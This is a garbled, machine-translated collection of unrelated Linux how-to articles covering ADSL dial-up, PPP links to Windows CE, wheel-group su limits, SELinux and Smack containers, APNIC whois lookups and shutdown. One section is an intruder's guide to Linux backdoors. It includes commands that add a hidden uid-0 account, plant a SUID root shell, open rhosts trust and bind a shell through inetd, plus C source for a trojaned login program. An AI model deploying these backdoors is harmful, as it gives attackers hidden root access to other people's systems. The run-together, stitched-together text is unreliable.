Linux ADSL dial-up Internet access on the operating system's method in Visual FoxPro

4. start the PPPOE client software using command:/usr/sbin/adsl-start launch PPPOE client software to connect, if successful, will be Connected; if not successful, check the network cables, ADSLMODEM etc physical devices, and view information in/var/log/messages/usr/sbin/adsl-stop close and ISP connections/usr/sbin/adsl-status view the current state of the connection if you want the Linux system starts automatically start ADSL connection, enter the following command # chkconfig-addadsl will currently run level down to the custom boot script to ADSL.

5. test when the connection is successful, use the command: # ifconfig-a in output should contain information of a pile of ppp0, which also bind IP address, instructions have been gained from dial-up IP address. Use the command # netstat-nr view the routing table information, then the default route is the IP address above. If no default route, we can manually add: # routeadddefaultgw above to obtain IP address with the command # nslookupwww sina.com .cn if parse out the SINA's IP, description is already correctly from dial-up access to a DNS server. Finally, use the command ping a domain name or IP, if you have a response that you have finished.

Linux based on PPP protocol and the Windows CE network

Jiang Qing ye qyjohn @ SMTH) software engineering expert, the United States navigation and control of the company (AmericanGNCCorporation) this article describes the Linux host over a network, implement and WindowsCE devices work together.

This article first using the PPP protocol on the Linux host and WindowsCE devices establish a connection, and then run the WindowsCE devices on an FTP server makes Linux hosts can access resources on WindowsCE devices. This article describes solutions for Windows9x/2000/NT host also applies. Background on Linux is an operating system similar to UNIX, it originated in Finland a LinusTorvalds's hobby, but it is now one of the most popular free operating system. Ordinary users in Linux Office, browse the Web, send messages and play the game, many universities and research institutes also Linux to complete everyday computing tasks. In the commercial space, because the Linux system price low, security property of high and very stable, many companies have their own server built on Linux. According to the international commercial data Corporation (IDC), the world's approximately one third of the Web server using Linux as the operating system. WindowsCE, according to Microsoft in WindowsCEandPocketPC: FAQ is defined in the operating systems development business to build a proprietary operating system, a series of components. Original equipment manufacturers (OEMs) can purchase one from Microsoft is called WindowsCE platform development system for the integrated development environment and leverage the system Assembly and compile based WindowsCE operating system, the operating system includes a range of component based WindowsCE and self development of application software or device drivers. As an operating system based on WindowsCE has the Microsoft Windows family of operating systems similar user interface, and therefore subject to many end users and developers of all ages. Currently WindowsCE has been widely used in mobile phones, palmtop computers, personal digital assistants, Salina and electronic dictionaries, and other portable devices. For a long time, WindowsCE devices also need to be equipped with one based on Windows9x/2000/NT host used to Exchange data with WindowsCE devices. Running on that host Microsoft WindowsCE services provided by the software, the software through a data cable and RS-232 WindowsCE devices establish a point-to-point connection, the user can access through the service software, LAN WindowsCE devices inside the other computer is not able to access the WindowsCE devices. If you need to make the LAN inside the other computer can access the device, you need to install the equipment expensive dedicated network adapters and the associated access device that is a very economical solution. This article uses RedHatLinux7.2 operating system PPP server and WindowsCE devices establish a TCP/IP connection, and then run the WindowsCE devices on an FTP server makes Linux hosts can access resources on WindowsCE devices. As a result of this approach is based on WindowsCE devices with RS-232 data cable, do not need to purchase any additional equipment, it is an economical and practical solutions. In addition, the solution presented in this article, on Windows9x/2000/NT host also applies. Connect Linux and WindowsCE point-to-point data transfer protocols (PointtoPointProtocol, PPP) is a transmission through serial line IP packet protocol. Using the PPP protocol, a computer via a serial line, telephone and other communication device login to a remote host and the host or the host's network resources. In point-to-point communication includes server and client in two parts, one client to the server requests a network connection, the server receives the client's request to establish a network connection and assigned to clients the appropriate network resources. When the network connection is established, the server and the client is strictly equivalent. Since Linux operating systems usually have a PPP server and client programs, and WindowsCE operating system usually is only with a PPP client program, so we use the Linux host as a PPP server, WindowsCE devices as a PPP client. In order to use the Linux host as a PPP server, we must first verify that the host has been installed on the PPP server program pppd. Usually this program is installed in the directory,/usr/sbin we can use the following command to find the directory for the existence of this file under: ls/usr/sbin/pppd recent official release of the Linux operating system (for example RedHatLinux6.x/7.x) usually have previously installed a PPP server program. If you have not installed the Linux host server PPP, then we should first of all, download and install a PPP server program, for example pppd2.3.4. Install the package may also require other packages of support, because the application installation is beyond the scope of this article, the interested reader to refer to other relevant information. Confirm that the PPP server is already installed on a Linux host, we need to do some Linux host necessary configuration, in order to make these configuration we need to have root privileges. Build file/etc/ppp/peers/wince, reads as follows:/Dev/ttyS0115200crtscts noaut/usr/sbin/chat-v-f/etc/ppp/wince.cat ' connect ' local 90.0.0.1: 90.0.0.2 build file/etc/ppp/wince.chat, reads as follows: TIMEOUT3600 "CLIENT" "" "" "CLIENT\c SERVER\c" in the above two configuration files, use the wince as the file name is used to indicate the profile is for an WindowsCE devices use. Readers can also use other file name, such as a palm or a handheld, and so on, but you must ensure that both the file name is the same. Configuration file specified using the serial port ttyS0/etc/ppp/peers/wince to 115, rate and customer 200bps devices connect, noauth parameter description in the client request did not need the connection authentication. In the peer-to-peer connections, the server (Linux host) of the IP is 90.0.0.1, client (WindowsCe devices) of the IP is 90.0.0.2. Profile/etc/ppp/wince.chat in TIMEOUT parameter specifies the server wait time, if you exceed this time still did not receive the client connection request the termination of the current server program. If any readers need to further understand the related configuration, please refer to their own chat documentation and pppd. WindowsCE devices-end configuration needs to be done relatively simple. Because the default for WindowsCE AutoConnect feature uses the device's serial port, we first need to stop using that function. In the start menu, select settings > phone > PC-connection "and set it to not enable connection with PC to stop the function. And then we re-establish a connection, in the start menu choose programs > communication->-connection manager, and then click on "make new connection icon to add a new connection named Linux and specify the connection type to linear connection", in the next step specifies use COM1 for connection and set its communication speed is 115,200, specify the TCP/IP settings for the device's IP is 90.0.0.2. Click OK to save the connection appears in the program-> communication menu inside. Use the following command at the Linux host start PPP server: pppdcallwince WindowsCE devices to start the new connection (program-> communication-> Linux), the network connection icon appears in the taskbar WindowsCE devices, Linux host displays the following information that is already successful and WindowsCE devices established connections: Serialconnectionestablised. Usinginterfaceppp0 Connect: ppp0ttyS0 foundinterfaceeth0forproxyarp localIPaddress90.0.0.1 remoteIPaddress90.0.0.2 we can also use Linux host provides the ping command to verify that you have successfully establish a connection with WindowsCE devices: ping90.0.0.2 If Linux host is already successful and WindowsCE devices establish a connection, then we should be able to see information similar to the following: PING90.0.0.2 (90.0.0.2) from90.0.0.1: 56 (84) bytesofdata. 64bytesfrom90.0.0.2: icmp_seq = 0ttl = 32time = 26.587msec 64bytesfrom90.0.0.2: icmp_seq = 1ttl = 32time = 19.928msec 64bytesfrom90.0.0.2: icmp_seq = 2ttl = 32time = 19.939msec 64bytesfrom90.0.0.2: icmp_seq = 3ttl = 32time = 19.947msec FTP software based WindowsCE when we are successful in the Linux host and WindowsCE devices establish a PPP connection, the next step can do something about it? of course, we need some suitable programs for Linux and WindowsCE devices for file exchange. We are now able to use the TCP/IP Protocol on the Linux host and transfer data between WindowsCE devices, obviously FTP program is an appropriate choice. FTP (FileTransportProtocol, file transfer protocol) is a widely used on the network protocol for file exchange. As a result of data transmission reliability requirements, FTP is a transport protocol based on TCP/IP. During an FTP session includes a server-side and a client, the client active connection to the server-side and the server sends a file transfer request, the server waits for the client access and processing the client's file transfer requests. PEFTPExplorer is very popular on WindowsCE FTP client software is also available as a full-featured file browser. And on PC commonly used such as CuteFTP and WSFTP FTP client similar to, a user can use the mouse (pointer) scale local-side and server-side tree, uploadOr download the file and directory, or file is a directory to rename, and delete. This software is available from CEArchive website (http://www.cearchives.com/ftp.html). In the Web site readers can also find another very popular FTP client vxFTP. FTP clients software functionality although it is very complete and simple operation, but still inevitable to receive small monitor portable devices. If you can establish a portable device on the FTP server, a file transfer operation can use commonly used on Linux host FTP client. Ftpsrv.exe is one based on WindowsCE FTP server software. The only 28.5KB applets, but does not provide authentication features and Passive transfer mode, is able to handle most common FTP requests. Use Microsoft WindowsCE service software will ftpsrv.exe uploaded to your portable device in any directory, launch the program later in the task bar will appear similar to the one computer connects two portable devices in small icons. Use the pointer to click on the icon will appear a small control window, here we can change the port number of the FTP server or terminate the program. Ftpsrv.exe from http://pda.tucows.com/or http://www.oohito.com/. In this two website readers can also find more useful applet. Other if

CentOS Linux system administrator general user group

In General, the average user by executing "su-" command, enter the correct root password, you can log in as root user to the system administrator-level configuration.

However, in order to further enhance system security, the need for an administrator's group to allow only the users of this group to perform the command "su-" log on as root user, and let other users even if the execution of the group "su-" and enter the correct root password and cannot login as root user. Under UNIX, this group name is usually the "wheel". Root @ sample ~] # usermod-GwheelCentOSpub ← general user CentOSpub plus in Administrators group wheel group root @ sample ~] # vi/etc/pam.d/su ← open the configuration file # authrequired/lib/security/$ ISA/find this line, pam_wheel.souse_uid ← removed line of "#" ↓ authrequired/lib/security/$ ISA/pam_wheel.souse_uid ← into this State (about line 6) root @ sample ~] # echo "SU_WHEEL_ONLYyes" > >/etc/login.defs ← add statements to the end of the line after the completion of the above actions, you can then create a new user, and then use this new user testing shows that isn't in the wheel group of users, execute the command "su-", even if you have entered the correct root password and cannot login as root user.

Hacker technology advanced skills and practice Linux backdoors

Introduction to intruders full back door control system, to facilitate the next time you access and use of a technology.

General by modifying the system configuration file and install a third-party tools to implement the back door. Has a hidden, can bypass the system log, not easily found by the system administrator. Common backdoor technology increases the super user account cracking/Sniffer user password placed SUIDSell rhosts ++ use system service TCP/UDP/ICMPSell Crontab scheduled tasks shared library file Kit mountable kernel module rootkit (LKM) increase root # echo "e4gle: x: 0: 0::/:/bin/sh" > >/etc/passwd # echo "e4gle::-1:-1:-1:-1:-1:-1: 500" > >/etc/shadow if the system does not allow the uid = 0 in the user log in remotely, you also need to add a normal user account. Crack/sniff the user password for shadow file, use a tool to crack weak JohntheRipper user password. Installation tools, such as sniff sniffit listens to telnet, FTP port, collect the user's password. Place the SUIDSell # cp/bin/bash/dev/.rootsell # chmodu + s/dev/.rootsell ordinary users to run in native, you can obtain a/dev/.rootshell root permissions of shell. Rhosts ++ # echo "+ +" >/.rhosts # rsh-lrootvictim.comcs-I can get a rootshell remotely. Use of system services program. Modify/etc/inetd.conf, daytimestreamtcpnowait/bin/shsh-I; replace with the trojan programs, such as in.telnetd in.rexecd inted service program, redirect login program. TCP/UDP/ICMPSell BindShell, mostly based on TCP/UDP protocols of network services programs, high port sniffing, can easily be found. PingBackdoor ICMP packet activation by a Shell back door. TCPACK packet back door, to be able to travel across the firewall. Crontab scheduled task scheduling through the Crontab program installed backdoor scheduled run, usually in the late evening hours, is the system administrator is not online. Shared library file in a shared library embedded backdoor function uses the backdoor password activation Shell, obtain permission to escape the system administrator on binary checksum of the file itself. Kit Rootkit contains a series of systems and the backdoor tool:-clear log in logon log-camouflage checksum-replace netstat, ps, and other network tools-backdoor login program is easy to install and use to load kernel modules (LKM) LKM: dynamic loading of LoadableKernelModules, do not need to recompile the kernel. Intercepted system call, with the hidden directories, files, processes, network connections, and other powerful features. Their invisibility, find difficult. Famous adore LKM and knark Pack. Backdoor detection to my own experience, combined with specific tools, hand work some testing. Use md5 checksum Tripwire or to check the system. With the IDS system, listen to the target machine's suspicious network connection. Example: Login backdoor intruder put original/bin/login backup, and then replace with a paragraph/bin/login. Intruder Telnet came in through the environment variable, or a terminal type, pass the correct backdoor password, will directly receive a Shell; if it is a normal user log in, you will be redirected to the original login file, to handle the normal login. The most simple login backdoor ulogin.c source: instance: login backdoor # include # definePASSWORD "passWORD" # define_PATH_LOGIN "/sbin/logins" main (argc, argv, envp) intargc; char ** argv, * the * envp; {char * display = getenv ("DISPLAY"); if (display == NULL) {execve (_PATH_LOGIN, argv, envp);　　 perror(_PATH_LOGIN); exit(1); }　if(!strcmp(display,PASSWORD)){　　system("/bin/cs"); exit(1); }　execve(_PATH_LOGIN,argv,envp); exit(1);} Use the backdoor login first Telnet service is turned on, on your own machine: bash $ exportDISPLAY = passWORDbash $ telnetvictim.comTryingxxx.xxx.xxx.xxx ... Connectedtovictim.com (xxx.xxx.xxx.xxx) .Escapecharacteris ' ^] '.% _ Strings command striNgs command can print out a binary file to display the string used to earlier ulogin program: bash $ stringsulogin/lib/ld-linux.so.2..............DISPLAY/sbin/loginspassWORD/bin/cs

Use SELinux and Smack reinforced lightweight containers

Secure Linux container implementation guide lightweight containers also called VirtualPrivateServers (VPS) or Jails, they are often used to restrict the untrusted application or user of the tool.

But recently constructed of lightweight containers did not provide sufficient security guarantees. Use SELinux or Smack strategy reinforced these containers, you can implement in Linux?, more secure container. This article describes how to create a Linux security module to protect of the more secure container. SELinux and Smack policy development is in progress, and in their communities to help continually improve. People hear when the container is first reaction is "how to create secure containers?". This article by using the Linux security modules (LSM LinuxSecurityModules,) enhanced container security to solve the problem. This article specifically shows how to set security goals and Smack and SELinux security module. To learn more about Linux container's background knowledge, please read the "LXC: Linux container tools" (developerWorks, February 2009). Linux container is based on several Linux technology to build the conceptual piece: resource name space allows you to find the process, the container's internal documents, SYSVIPC resources, network interface, and so on. Control group (Controlgroups) allows restrictions placed on the container's resources. Function bindings (Capabilitybounding) sets limits container access privileges. You must coordinate the use of these technologies to achieve consistent with the vision of the container. There are two projects provide this functionality: Libvirt is able to use the Xen hypervisor, qemu emulator, kvmis even lightweight containers to create a virtual machine for large projects. Liblxc is a small library and a collection of user space command, their purpose is to help the kernel developers to quickly and easily test container functionality. Because the "LXC: Linux container tool" is prepared based on liblxc, so I am here to continue to use liblxc; but here do have the ability to use a container supports easy libvirt. Main element 1: LSM before you begin, if you do not know much about LSM, now you can quickly browse through. According to the Wikipedia definition: LinuxSecurityModules (LSM) is a Linux kernel supports a variety of computer security model framework, while not dependent on specific security implementation. This framework consists of the terms authorized use, GNUGeneralPublicLicense and Linux2.6 after a standard part of Linux kernel. Design LSM aims to achieve mandatory access control module provides all the necessary elements, while minimizing the changes to the Linux kernel. LSM avoids Systrace system call insert in, because it does not support multiple processor cores, and vulnerable to attacks TOCTTOU (race). On the contrary, when a user-level system will access to important internal kernel object (such as the inode and mission control block), LSM will insert "in the kernel hooks (hook)" (upcalls module). This project is dedicated to solving the problem of access control to avoid mainstream kernel for a large number of complex modifications. The project is not intended to be a common "hook" or "up call" mechanism, nor does it support virtualization. LSM access control goals and resolve system audit issues are closely related, but distinct. The audit requirement records each access attempt. LSM does not resolve this problem, because it requires a lot of hooks, to detect the kernel "short circuit" fault system where calling, and close to important object returns the error code. System security including two some conflict of objectives. The first goal is to achieve complete fine-grained access control. Must have may leak or damaged information location control. Too coarse-grained control and does not control. For example, if all the files must be classified as a type, and there is no file is open, all files are open. On the other hand, the configuration must be simple, administrators need to manage many access (but again, this does not control and is the same). For example, if you make the program work correctly requires large amounts of access rules, the administrator will add to the program, many access instead of testing these access rules are necessary. Linux in two basic security module uses different methods to balance this contradiction. SELinux implementation first on all things while using powerful control policy language simplified policy management. Smack mainly provides simple access control. Main element 2: SELinux far, SELinux is most famous for Linux, Mac systems (mandatory access control). Although still people against it, but popular Fedora? release from a few years ago, and deployed with SELinux, which is its powerful proof of success. SELinux using modular policy language configuration, users can easily update the installed policies. This language also provides interfaces that allow the use of more advanced statement expression for a set of low-level statement. In this article, we will use a new interface to define the container. Although the container to add many access make the interface itself become very large, but use the interface to create a new container is very simple. This interface is very promising to become a core part of the publishing strategy. Main element 3: SmackSmack is the simplified mandatory access control kernel (SimplifiedMandatoryAccessControlKernel) abbreviation. It is the first to use simple text label mark all processes, files and network traffic. Use the label creation processCreate a new file. Usually there are some with a clear definition of the default type of access rule. Process often can have the same label object for read and write. Bypass the Smack of access rules to control the privileges by POSIX function, so the tasks with CAP_MAC_OVERRIDE can overwrite rules; the tasks with CAP_MAC_ADMIN can change rules and labels. "POSIXfilecapabilities: Parcelingthepowerofroot" (reference) demonstrates these privileges.

Easy access to Netcom, Telecom, China tietong IP address assignment section

Sometimes get some cross-segment engineering and application, you need to make accurate know Telecom, China Netcom and China railcom and other telecom operators assigned IP addresses, online information not only rarely, and often are N months before expiration information ...

APNIC is management Asia Pacific IP address allocations of institutions, it has a wealth of accurate IP address allocation library, at the same time the information is publicly! here let us look at how to get some Linux telecom carriers of IP address allocation: shell > wgethttp://ftp.apnic.net/apnic/dbase ... se-client-v3.tar.gzshell > tarxzvfripe-dbase-client-v3.tar.gzshell/configureshell cdwhois-3.1shell >. > > make install the compiled work, we start getting IP addresses; China Netcom: shell >. >/whois3-hwhois.apnic.net-l-imbMAINT-CNCGROUP/var/cnc China Telecom: shell >. >/whois3-hwhois.apnic.net-l-imbMAINT-CHINANET/var/chinanet China tietong: shell >. >/whois3-hwhois.apnic.net-l-imbMAINT-CN-CRTC/var/crtc open gets files can see inside the information very carefully, you can even see the heads of each branch, phone, e-mail, and more information. If you want to get a neat clean IP address section of the file, just use the simple filter grep and awk:)

There are techniques for the Linux operating system shutdown

III. analysis of the Shutdown command.

Because Linux is a multiuser system. At the same time there may be multiple users log on this system. Such as through SSH commands to remote login, etc. The system administrator may want to turn off before to the current Linux system with all of the logged-on user issues a warning. Or in ten minutes after shutting down the system and so on. If the system administrator to implement this functionality, you need to use the shutdown command to shutdown. Shutdown command, you can safely turn off or restart Linux system. This command will close the system to the system before all the logged-on user (including remote login user) prompt a warning message. This command also allows system administrators to specify a time parameters, within the prescribed time after shutting down the system. As can be a precise time (how long something) or start of a period of time (ten minutes). Use this command all the processes on the system will receive a SIGTERM signal. This would have the advantage. It can make the text editor vi, and so has the time to be in edit State files. Mail and news, application process, you can move all the data in the buffer pool for proper cleanup, etc. So this is a very user-friendly shutdown command. System administrator run the shutdown command, the system notifies the init process that requires it to change run level to implement a specific functionality. Run level 0 to turn off the system run level 6 is used to restart the system to run level 1 is used to enable the system to perform system administration tasks. If you do not give the-h or-r parameter, this is the default shutdown command. System after the execution of the order, automatically synchronizing data. So this command takes a little longer may be. But if you consider data synchronization, then the administrator, so time is worth it. Here refers to a run-level concepts, it is a Linux system and Windows system differences larger one point. The so-called run level is a system software environment configuration. In a specific environment only allows a group of selected processes exist. Init to different run level is derived from the process. Init can boot into eight different run level, including 0-6 run level and S or s runlevel. Run levels can be superuser by telinit command to convert. This command converts signals can be passed to init, tell it to switch to which run level. Run level 0, 1 and 6 for the system to run level reserved private. Run level 0 is used to shutdown, run level 6 is used to restart, run level 1 is used to put the computer into single user mode. Runlevel S is not used directly to us, more is to enter runlevel 1 run some executable script is called. In this command, you can join different parameters for different purposes. If shutdown-k command, and not a true shutdown, but simply send a warning signal to each logon users (including remote login). The system administrator shuts down the system before you use this command to tell the other users logged on, is a good practice. In addition, sometimes Linux system as Windows system, the system shut down and turn off the power supply is not active. You can use the command shutdown-h, clearly indicates that the system to turn off the power at the same time after power off. Note that this command and halt shutdown commands, called getuid system processes to determine whether the current user as root user. If Yes, continue with the following shutdown actions; if the current user as a normal user, you exit the command directly.